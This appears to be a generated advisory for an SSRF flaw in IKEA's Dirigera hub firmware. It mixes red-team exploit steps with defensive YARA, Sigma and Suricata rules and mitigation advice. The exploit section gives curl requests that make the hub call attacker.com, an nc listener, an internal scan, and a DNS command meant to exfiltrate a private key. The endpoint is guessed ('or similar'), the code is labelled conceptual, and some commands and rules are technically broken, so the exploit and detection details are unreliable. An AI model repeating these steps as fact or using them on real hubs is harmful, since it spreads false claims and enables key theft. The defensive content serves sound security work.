CVE-2026-3588

Executive Summary

CVE-2026-3588 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in the IKEA Dirigera smart home hub, specifically in firmware version v2.866.4. The vulnerability allows an unauthenticated attacker to craft a malicious request that forces the hub to make internal or external HTTP requests, leading to the exfiltration of sensitive private keys. This can compromise the entire smart home ecosystem, including device control and data privacy. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or official advisory from IKEA. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the potential for full key compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the IKEA Dirigera hub.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The high confidentiality impact stems from the ability to exfiltrate private keys, which could lead to further compromise of the smart home network.

Deep Dive & Mechanics

The IKEA Dirigera hub exposes a web interface for configuration and device management. The SSRF vulnerability exists in an endpoint that accepts user-supplied URLs without proper validation. An attacker can send a crafted HTTP request to the hub, which then makes a request to an attacker-controlled server, leaking sensitive data such as private keys, tokens, or internal network information.

Root Cause: The hub does not sanitize or restrict the destination of outbound HTTP requests initiated by the user. This allows an attacker to specify arbitrary URLs, including internal IP addresses (e.g., 127.0.0.1, 192.168.x.x) or external servers.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /api/v1/validate or similar).
2. Attacker crafts a request with a URL pointing to their own server (e.g., http://attacker.com/steal).
3. The hub processes the request and sends an HTTP GET to the attacker's server.
4. The attacker captures the request, which may include private keys or session tokens in headers or body.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current firmware v2.866.4. A patched version would need to implement strict URL validation, including:

• Blocking requests to private IP ranges (RFC 1918).
• Using a whitelist of allowed domains.
• Requiring authentication for sensitive endpoints.

Vulnerable Code (Conceptual):

# Vulnerable endpoint
@app.route('/api/v1/validate')
def validate():
    url = request.args.get('url')
    response = requests.get(url)  # No validation
    return response.text

Patched Code (Conceptual):

# Patched endpoint
import ipaddress
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['api.ikea.com', 'update.ikea.com']

@app.route('/api/v1/validate')
def validate():
    url = request.args.get('url')
    parsed = urlparse(url)
    host = parsed.hostname
    # Block private IPs
    try:
        ip = ipaddress.ip_address(host)
        if ip.is_private:
            return "Forbidden", 403
    except ValueError:
        pass
    # Whitelist domains
    if host not in ALLOWED_DOMAINS:
        return "Forbidden", 403
    response = requests.get(url)
    return response.text

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• IKEA Dirigera hub with firmware v2.866.4.
• Network access to the hub (local or remote if exposed).
• An attacker-controlled server to receive exfiltrated data.

Exploit Steps:

1. Set up a listener on your attacker server (e.g., using nc -lvnp 8080).
2. Send a crafted request to the hub:

   curl "http://<hub-ip>/api/v1/validate?url=http://attacker.com:8080/steal"
   

3. The hub will make a request to your server, potentially leaking private keys in headers or body.
4. Capture the data from your listener.

Advanced Exploit:

• Use SSRF to scan internal network:

  curl "http://<hub-ip>/api/v1/validate?url=http://192.168.1.1/admin"
  

• Exfiltrate keys via DNS:

  curl "http://<hub-ip>/api/v1/validate?url=http://$(cat /etc/ssl/private/key.pem).attacker.com/"
  

Blue Team (Defensive)

Detection:

• Monitor outbound HTTP requests from the hub to unknown destinations.
• Use network segmentation to restrict the hub's outbound traffic.
• Implement Web Application Firewall (WAF) rules to block SSRF patterns.

Mitigation:

• Disable remote access to the hub if not needed.
• Apply strict firewall rules to allow only necessary outbound connections (e.g., to IKEA update servers).
• Monitor logs for unusual URL parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the hub to unknown IPs or domains.
  • Requests containing private IP ranges (e.g., 127.0.0.1, 10.x.x.x, 192.168.x.x).
  • DNS queries for suspicious subdomains (e.g., key.attacker.com).

• File IOCs:

  • Unauthorized access to /etc/ssl/private/ or similar key storage.
  • Modified configuration files.

• Behavioral IOCs:

  • Hub making requests to attacker-controlled servers.
  • Unusual traffic patterns during non-peak hours.

Detection Engineering

YARA Rule

rule CVE_2026_3588_SSRF_Exfil {
    meta:
        description = "Detects SSRF exploitation attempts against IKEA Dirigera hub"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-3588"
    strings:
        $ssrf_param = "url=http://" ascii wide nocase
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)/ ascii wide
        $key_exfil = "private" ascii wide nocase
    condition:
        any of ($ssrf_param) and any of ($private_ip) or any of ($key_exfil)
}

Sigma Rule

title: IKEA Dirigera SSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against IKEA Dirigera hub
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/api/v1/validate"
        cs-uri-query|contains: "url=http://"
    condition: selection
falsepositives:
    - Legitimate use of URL validation feature (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-3588 IKEA Dirigera SSRF Attempt"; flow:to_server,established; content:"/api/v1/validate"; http_uri; content:"url=http://"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Access: If the hub is exposed to the internet, disable remote management until a patch is available.
2. Network Segmentation: Place the hub in a separate VLAN with strict outbound firewall rules.
3. Monitor Logs: Enable logging and monitor for SSRF patterns.

Long-term Fix:

• IKEA must release a firmware update that implements proper URL validation and restricts outbound requests.
• Users should apply the patch as soon as it becomes available.

Workaround:

• Use a reverse proxy or WAF to filter requests to the hub, blocking suspicious URL parameters.

Valters IT